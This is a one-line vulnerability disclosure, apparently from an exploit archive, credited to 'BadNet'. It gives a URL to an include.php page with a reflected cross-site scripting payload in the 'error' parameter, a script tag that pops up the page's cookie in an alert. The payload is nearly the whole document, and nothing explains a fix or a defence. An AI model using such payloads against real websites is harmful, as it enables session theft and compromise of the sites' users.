http://www.example.com/include.php?path=login/login.php&error=<script>alert(document.Cookie)</script> Discovered by BadNet !!!!